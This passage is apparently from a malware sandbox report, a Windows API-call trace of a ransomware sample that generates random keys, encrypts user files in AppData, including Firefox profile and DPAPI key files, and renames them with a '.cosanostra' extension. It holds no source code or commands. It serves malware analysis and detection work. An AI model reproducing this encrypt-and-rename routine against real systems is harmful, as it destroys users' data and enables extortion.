pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json.cosanostra") returned 114 [0099.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json.cosanostra")) returned 1 [0099.233] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f238 | out: pbBuffer=0x251f238) returned 1 [0099.233] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f230*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f230*=0x30) returned 1 [0099.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20131025151332"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.234] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332") returned 105 [0099.234] StrStrW (lpFirst="InstallTime20131025151332", lpSrch=".txt") returned 0x0 [0099.235] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffff6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.235] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x251f1f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f1f4*=0xa, lpOverlapped=0x0) returned 1 [0099.235] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.235] WriteFile (in: hFile=0x180, lpBuffer=0x251f234*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f1f4, lpOverlapped=0x0 | out: lpBuffer=0x251f234*, lpNumberOfBytesWritten=0x251f1f4*=0x4, lpOverlapped=0x0) returned 1 [0099.235] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f1f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f1f4*=0x30, lpOverlapped=0x0) returned 1 [0099.235] CloseHandle (hObject=0x180) returned 1 [0099.235] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332.cosanostra") returned 116 [0099.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20131025151332"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20131025151332.cosanostra")) returned 1 [0099.244] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f218 | out: pbBuffer=0x251f218) returned 1 [0099.244] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f210*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f210*=0x30) returned 1 [0099.244] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.244] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f218 | out: pbBuffer=0x251f218) returned 1 [0099.244] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f210*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f210*=0x30) returned 1 [0099.244] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.245] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f210 | out: pbBuffer=0x251f210) returned 1 [0099.246] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f208*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f208*=0x30) returned 1 [0099.246] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.246] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f208 | out: pbBuffer=0x251f208) returned 1 [0099.246] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f200*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f200*=0x30) returned 1 [0099.246] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.247] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f200 | out: pbBuffer=0x251f200) returned 1 [0099.247] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1f8*=0x30) returned 1 [0099.247] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.247] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f200 | out: pbBuffer=0x251f200) returned 1 [0099.247] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1f8*=0x30) returned 1 [0099.247] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1f8 | out: pbBuffer=0x251f1f8) returned 1 [0099.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1f0*=0x30) returned 1 [0099.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1f8 | out: pbBuffer=0x251f1f8) returned 1 [0099.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1f0*=0x30) returned 1 [0099.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1f0 | out: pbBuffer=0x251f1f0) returned 1 [0099.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1e8*=0x30) returned 1 [0099.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1f0 | out: pbBuffer=0x251f1f0) returned 1 [0099.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1e8*=0x30) returned 1 [0099.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.252] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1e0 | out: pbBuffer=0x251f1e0) returned 1 [0099.252] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1d8*=0x30) returned 1 [0099.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.254] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 102 [0099.254] StrStrW (lpFirst="ContentStore.xml", lpSrch=".txt") returned 0x0 [0099.255] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.255] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x251f19c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f19c*=0xa8, lpOverlapped=0x0) returned 1 [0099.255] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.255] WriteFile (in: hFile=0x180, lpBuffer=0x251f1dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f19c, lpOverlapped=0x0 | out: lpBuffer=0x251f1dc*, lpNumberOfBytesWritten=0x251f19c*=0x4, lpOverlapped=0x0) returned 1 [0099.255] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f19c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f19c*=0x30, lpOverlapped=0x0) returned 1 [0099.255] CloseHandle (hObject=0x180) returned 1 [0099.255] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.cosanostra") returned 113 [0099.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.cosanostra")) returned 1 [0099.260] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1d8 | out: pbBuffer=0x251f1d8) returned 1 [0099.260] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1d0*=0x30) returned 1 [0099.260] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\synchist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 76 [0099.261] StrStrW (lpFirst="SYNCHIST", lpSrch=".txt") returned 0x0 [0099.262] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.262] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x251f194, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f194*=0x4c, lpOverlapped=0x0) returned 1 [0099.262] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.262] WriteFile (in: hFile=0x180, lpBuffer=0x251f1d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f194, lpOverlapped=0x0 | out: lpBuffer=0x251f1d4*, lpNumberOfBytesWritten=0x251f194*=0x4, lpOverlapped=0x0) returned 1 [0099.262] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f194, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f194*=0x30, lpOverlapped=0x0) returned 1 [0099.262] CloseHandle (hObject=0x180) returned 1 [0099.262] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.cosanostra") returned 87 [0099.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\synchist"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\synchist.cosanostra")) returned 1 [0099.265] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1d0 | out: pbBuffer=0x251f1d0) returned 1 [0099.265] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1c8*=0x30) returned 1 [0099.265] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.266] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred") returned 124 [0099.266] StrStrW (lpFirst="Preferred", lpSrch=".txt") returned 0x0 [0099.266] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.266] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x251f18c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f18c*=0x18, lpOverlapped=0x0) returned 1 [0099.267] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.267] WriteFile (in: hFile=0x180, lpBuffer=0x251f1cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f18c, lpOverlapped=0x0 | out: lpBuffer=0x251f1cc*, lpNumberOfBytesWritten=0x251f18c*=0x4, lpOverlapped=0x0) returned 1 [0099.267] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f18c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f18c*=0x30, lpOverlapped=0x0) returned 1 [0099.267] CloseHandle (hObject=0x180) returned 1 [0099.267] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred.cosanostra") returned 135 [0099.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\preferred"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\preferred.cosanostra")) returned 1 [0099.271] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1c8 | out: pbBuffer=0x251f1c8) returned 1 [0099.271] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1c0*=0x30) returned 1 [0099.271] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.272] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d") returned 151 [0099.272] StrStrW (lpFirst="fbbe72db-afd8-443b-88dd-64b20388700d", lpSrch=".txt") returned 0x0 [0099.272] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.272] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f184*=0x1d4, lpOverlapped=0x0) returned 1 [0099.272] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.272] WriteFile (in: hFile=0x180, lpBuffer=0x251f1c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x251f1c4*, lpNumberOfBytesWritten=0x251f184*=0x4, lpOverlapped=0x0) returned 1 [0099.273] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f184*=0x30, lpOverlapped=0x0) returned 1 [0099.273] CloseHandle (hObject=0x180) returned 1 [0099.273] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d.cosanostra") returned 162 [0099.273] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d.cosanostra")) returned 1 [0099.274] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f1c8 | out: pbBuffer=0x251f1c8) returned 1 [0099.274] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f1c0*=0x30) returned 1 [0099.274] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.274] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\2be989a0-16a1-424b-9211-51aa3bb43e5d") returned 151 [0099.274] StrStrW (lpFirst="2be989a0-16a1-424b-9211-51aa3bb43e5d", lpSrch=".txt") returned 0x0 [0099.275] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.275] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x251f184, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f184*=0x1d4, lpOverlapped=0x0) returned 1 [0099.275] SetFilePointerEx (in: hFile=0x180, 